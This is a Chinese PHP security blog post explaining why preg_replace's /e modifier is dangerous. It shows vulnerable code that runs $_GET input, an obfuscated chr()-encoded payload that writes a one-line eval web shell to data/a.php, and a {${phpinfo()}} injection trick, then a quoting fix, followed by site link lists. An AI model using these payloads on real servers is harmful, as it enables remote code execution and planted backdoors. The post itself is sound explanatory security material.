慎用preg_replace危险的/e修饰符(一句话后门常用)


Posted in PHP onJune 19, 2013

preg_replace函数原型:

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

特别说明:
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
举例:

<?php 
preg_replace ("/(</?)(w+)([^>]*>)/e", 
"\1.strtoupper(\2).\3", 
$html_body); 
?>

这将使输入字符串中的所有 HTML 标记变成大写。

安全威胁分析:
通常subject参数是由客户端产生的,客户端可能会构造恶意的代码,例如:

<? 
echo preg_replace("/test/e",$_GET["h"],"jutst test"); 
?>

如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。
如果我们提交下面的代码会怎么样呢?
?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).
chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).
chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).
chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
密文对应的明文是:fputs(fopen(data/a.php,w),<?php eval($_POST[cmd])?>);
执行的结果是在/data/目录下生成一个一句话木马文件 a.php。

再来一个有难度的例子:

<? 
function test($str) 
{ 
} 
echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("\1")', $_GET["h"]); 
?>

提交 ?h=[php]phpinfo()[/php],phpinfo()会被执行吗?
肯定不会。因为经过正则匹配后, replacement 参数变为'test("phpinfo")',此时phpinfo仅是被当做一个字符串参数了。
有没有办法让它执行呢?

当然有。在这里我们如果提交?h=[php]{${phpinfo()}}[/php],phpinfo()就会被执行。为什么呢?
在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。
注意:双引号中的函数不会被执行和替换。

在这里我们需要通过{${}}构造出了一个特殊的变量,'test("{${phpinfo()}}")',达到让函数被执行的效果(${phpinfo()}会被解释执行)。
可以先做如下测试:

echo "{${phpinfo()}}";

phpinfo会被成功执行了。

如何防范这种漏洞呢?
将'test("\1")' 修改为"test('\1')",这样‘${phpinfo()}'就会被当做一个普通的字符串处理(单引号中的变量不会被处理)。

PHP 相关文章推荐
PHP4实际应用经验篇(6)
Oct 09 PHP
不错的PHP学习之php4与php5之间会穿梭一点点感悟
May 03 PHP
删除数组元素实用的PHP数组函数
Aug 18 PHP
php AJAX实例根据邮编自动完成地址信息
Nov 23 PHP
Look And Say 序列php实现代码
May 22 PHP
php中使用preg_match_all匹配文章中的图片
Feb 06 PHP
PHP读取文件内容后清空文件示例代码
Mar 18 PHP
使用PHP实现生成HTML静态页面
Nov 18 PHP
PHP使用mkdir创建多级目录的方法
Dec 22 PHP
Laravel 5.1 on SAE环境开发教程【附项目demo源码】
Oct 09 PHP
ThinkPHP框架实现FTP图片上传功能示例
Apr 08 PHP
Yii2框架加载css和js文件的方法分析
May 25 PHP
解析二进制流接口应用实例 pack、unpack、ord 函数使用方法
Jun 18 #PHP
深入PHP数据加密详解
Jun 18 #PHP
使用array mutisort 实现按某字段对数据排序
Jun 18 #PHP
php多个字符串替换成同一个的解决方法
Jun 18 #PHP
基于PHP读取csv文件内容的详解
Jun 18 #PHP
解析CodeIgniter自定义配置文件
Jun 18 #PHP
Yii PHP Framework实用入门教程(详细介绍)
Jun 18 #PHP
You might like
在PHP中利用XML技术构造远程服务(上)
2006/10/09 PHP
PHP程序漏洞产生的原因分析与防范方法说明
2014/03/06 PHP
php中将一个对象保存到Session中的方法
2015/03/13 PHP
php 查找数组元素提高效率的方法详解
2017/05/05 PHP
XMLHTTP 乱码的解决方法(UTF8,GB2312 编码 解码)
2011/01/12 Javascript
Jquery插件之打造自定义的select标签
2011/11/30 Javascript
jquery实现控制表格行高亮实例
2013/06/05 Javascript
js编写trim()函数及正则表达式的运用
2013/10/24 Javascript
JavaScript中如何通过arguments对象实现对象的重载
2014/05/12 Javascript
js动态修改表格行colspan列跨度的方法
2015/03/30 Javascript
js实现贪吃蛇小游戏(容易理解)
2017/01/22 Javascript
Bootstrap显示与隐藏简单实现代码
2017/03/06 Javascript
JavaScript 程序错误Cannot use 'in' operator to search的解决方法
2017/07/10 Javascript
bootstrap Table插件使用demo
2017/08/07 Javascript
JS获取当前地理位置的方法
2017/10/25 Javascript
vue动画之点击按钮往上渐渐显示出来的实例
2018/09/29 Javascript
详解vue项目中实现图片裁剪功能
2019/06/07 Javascript
JS多个表单数据提交下的serialize()应用实例分析
2019/08/27 Javascript
基于form-data请求格式详解
2019/10/29 Javascript
[04:37]DOTA2英雄梦之声Vol20发条
2014/06/20 DOTA
[08:07]DOTA2每周TOP10 精彩击杀集锦vol.8
2014/06/25 DOTA
django框架创建应用操作示例
2019/09/26 Python
pycharm工具连接mysql数据库失败问题
2020/04/01 Python
Pytorch十九种损失函数的使用详解
2020/04/29 Python
python向企业微信发送文字和图片消息的示例
2020/09/28 Python
城市观光通行证:The Sightseeing Pass
2018/04/28 全球购物
留学自荐信的技巧
2013/10/17 职场文书
自荐信格式技巧有哪些呢
2013/11/19 职场文书
眼镜促销方案
2014/03/15 职场文书
大学生自我鉴定书
2014/03/24 职场文书
工商局领导班子存在的问题整改措施思想汇报
2014/10/05 职场文书
组织生活会发言材料
2014/12/15 职场文书
考博导师推荐信范文
2015/03/27 职场文书
银行柜员优质服务心得体会
2016/01/22 职场文书
mysql 8.0.24版本安装配置方法图文教程
2021/05/12 MySQL
SQL Server代理:理解SQL代理错误日志处理方法
2021/06/30 SQL Server